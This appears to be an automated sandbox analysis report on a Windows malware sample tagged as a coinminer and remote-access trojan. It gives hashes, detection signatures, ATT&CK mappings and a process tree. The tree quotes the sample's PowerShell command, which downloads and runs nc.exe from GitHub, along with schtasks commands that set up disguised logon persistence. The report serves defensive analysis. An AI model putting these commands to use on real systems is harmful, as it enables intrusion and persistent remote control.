d4a1e0ef28f406c78f653b0beec3810a51ee54232311ab2a6f68aa43913bb574

Analysis

max time kernel
149s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
02/06/2026, 05:43

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-06-02_79b9993515df99f85806d4b473e4603e_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch_vidar.exe
Size 12.4MB
Sample260602-gelbnset6t
SHA256 d4a1e0ef28f406c78f653b0beec3810a51ee54232311ab2a6f68aa43913bb574
MD5 79b9993515df99f85806d4b473e4603e
SHA1 d71d2e4a7c1b7959176377cc9af834fb3858dd6e
SHA512 d90671ecd54278ccbdc408fff5885b0d5876d0ac62a9895c1220fe44ae92ebc8b6b0aee4a035ef0b95e1281461148652b28d1c4dedfd0b0babc95cc7bc26a997
SSDEEP 98304:e4NkrlRtmhEDdJB6AlHtIZlTBEEsnhxWTEoX55jqBSw8a0cD5u:eBNdJB6A4/vWHop5jqBSwFZ
TLSH
T1A7D66B57BEA800E4D1B9D13889628617FA717C580B2163DB1B60F7396F37BE0AD39B50
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

execution persistence

Malware Config

Signatures

Detects executables containing URLs to raw contents of a Github gist 1 IoCs

resource	yara_rule
behavioral2/files/0x001e00000002b317-13.dat	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	2264	powershell.exe
4	4724	powershell.exe
8	2264	powershell.exe
14	2264	powershell.exe
19	2264	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2264	powershell.exe
4724	powershell.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com
4	raw.githubusercontent.com

Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3036	schtasks.exe
4844	schtasks.exe
388	schtasks.exe
1044	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2264	powershell.exe
2264	powershell.exe
4724	powershell.exe
4724	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2264	powershell.exe
Token: SeDebugPrivilege	4724	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1780 wrote to memory of 2264	1780	2026-06-02_79b9993515df99f85806d4b473e4603e_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch_vidar.exe	82
PID 1780 wrote to memory of 1044	1780	2026-06-02_79b9993515df99f85806d4b473e4603e_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch_vidar.exe	83
PID 1780 wrote to memory of 3036	1780	2026-06-02_79b9993515df99f85806d4b473e4603e_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch_vidar.exe	85
PID 3388 wrote to memory of 4724	3388	2026-06-02_79b9993515df99f85806d4b473e4603e_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch_vidar.exe	92
PID 3388 wrote to memory of 4844	3388	2026-06-02_79b9993515df99f85806d4b473e4603e_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch_vidar.exe	93
PID 3388 wrote to memory of 388	3388	2026-06-02_79b9993515df99f85806d4b473e4603e_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch_vidar.exe	94

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-06-02_79b9993515df99f85806d4b473e4603e_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-06-02_79b9993515df99f85806d4b473e4603e_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch_vidar.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/.../nc.exe' -OutFile $env:TEMP\nc.exe ; Start-Process $env:TEMP\nc.exe"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2264
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "Microsoft Store Updater" /tr C:\Users\Admin\AppData\Local\Temp\2026-06-02_79b9993515df99f85806d4b473e4603e_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch_vidar.exe /sc onlogon
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1044
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "SmartScreen Защитника Windows" /tr "C:\Users\Admin\AppData\Roaming\Microsoft Store Updater\updater.exe" /sc onlogon
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3036

C:\Users\Admin\AppData\Local\Temp\2026-06-02_79b9993515df99f85806d4b473e4603e_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch_vidar.exe
C:\Users\Admin\AppData\Local\Temp\2026-06-02_79b9993515df99f85806d4b473e4603e_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch_vidar.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:3388
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/.../nc.exe' -OutFile $env:TEMP\nc.exe ; Start-Process $env:TEMP\nc.exe"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4724
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "Microsoft Store Updater" /tr C:\Users\Admin\AppData\Local\Temp\2026-06-02_79b9993515df99f85806d4b473e4603e_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch_vidar.exe /sc onlogon
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4844
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "SmartScreen Защитника Windows" /tr "C:\Users\Admin\AppData\Roaming\Microsoft Store Updater\updater.exe" /sc onlogon
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:388

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 e336a593bd31921c46757a88a99759f6a33854d0c8b854c0c8f118e5cede1ea1
MD5 aa0a32b11dca7b04f4cc5fe8c55cb357
SHA1 00e354fd0754a7d721a270cdc08f970b9a3f6605
SHA512 1db91d3540da2c7eb4e151d698f3a9c1d2caed3161c41f1c2c73781a65e9dfc818902f0220c0aa9fc2c617d4851f23f4a576c4e5fe0f40ec78e9ed01c8ad8b30
TLSH
T1F661DC323375B0D4895A7F07192C19C463BF8356EA94AF4CB658620ED92B44BDF222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 24e2819c0a9d777a3702bfba92fc27cc465abf63604fa1395a3538d01c6b385f
MD5 2766a3e39fbca2dc2a133045718ec406
SHA1 67792da1729fa8076b85e1b8e4e4152bafd64cb3
SHA512 b3f14fd8fd7483c446637105383eb7041feea684ce0e57297f1e1069dd899a44fc1b646dfb37c7473563170668ba546a9640a7c03ebd96a6a3b7305a7050d840
TLSH
T166218633B3ACC134C8DA117A108CAD01B1B1C3C7449ECE9B6B84C508A57F98ADB641E4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_oxsl5qak.dmi.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oxsl5qak.dmi.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Roaming\Microsoft Store Updater\Preferences
Size 12B
SHA256 81e946544c1ef5390689f9fb259328bd0f8d0d59aa5652427a3101cb45fbc1c8
MD5 2ea10375cae3543edd3aa3e3a2116c8f
SHA1 45180d68f5e2c4c4c9564e2ff3ea5ebb8c32047a
SHA512 94fbcc3ec8e8cec4d37e9a3008fb9a8ebb8af802df759045dd93a0f0c8c46971b4cc56310e746288bcb21544a0cfcc9709a22637cad030cff6d10aed8be3e29b
MD5 SHA1 SHA512

Submit Download

config.json

Path C:\Users\Admin\AppData\Roaming\Microsoft Store Updater\config.json
Size 15B
SHA256 04f19b08c38c10ba97ae1be5c7a515f9ca2e6e31bc5e9b46e6e9a14664402705
MD5 4acc59c14e4a46a050211e70b4b7d761
SHA1 60cabb217ba18c288e17e5f6717d63947d0a9b86
SHA512 8012da81bd8d733d6a044dd8234513a2bdc501ade7cf4875b4d59f70c20d9af0be6beeddbc056bea7e46b80b8425fb6d309aec374477276b8f96f07aeb4cac40
MD5 SHA1 SHA512

Submit Download

updater.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft Store Updater\updater.exe
Size 12.4MB
SHA256 d4a1e0ef28f406c78f653b0beec3810a51ee54232311ab2a6f68aa43913bb574
MD5 79b9993515df99f85806d4b473e4603e
SHA1 d71d2e4a7c1b7959176377cc9af834fb3858dd6e
SHA512 d90671ecd54278ccbdc408fff5885b0d5876d0ac62a9895c1220fe44ae92ebc8b6b0aee4a035ef0b95e1281461148652b28d1c4dedfd0b0babc95cc7bc26a997
SSDEEP 98304:e4NkrlRtmhEDdJB6AlHtIZlTBEEsnhxWTEoX55jqBSw8a0cD5u:eBNdJB6A4/vWHop5jqBSwFZ
TLSH
T1A7D66B57BEA800E4D1B9D13889628617FA717C580B2163DB1B60F7396F37BE0AD39B50
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2264-4-0x00000197A1B30000-0x00000197A1B40000-memory.dmp

Download

memory/2264-12-0x00000197A1B30000-0x00000197A1B40000-memory.dmp

Download

memory/2264-30-0x00000197A1B30000-0x00000197A1B40000-memory.dmp

Download

memory/2264-29-0x00000197A1B30000-0x00000197A1B40000-memory.dmp

Download

memory/2264-11-0x00000197A1B00000-0x00000197A1B22000-memory.dmp

Download

memory/2264-3-0x00000197A1B30000-0x00000197A1B40000-memory.dmp

Download

memory/4724-25-0x00000208E30D0000-0x00000208E3876000-memory.dmp

Download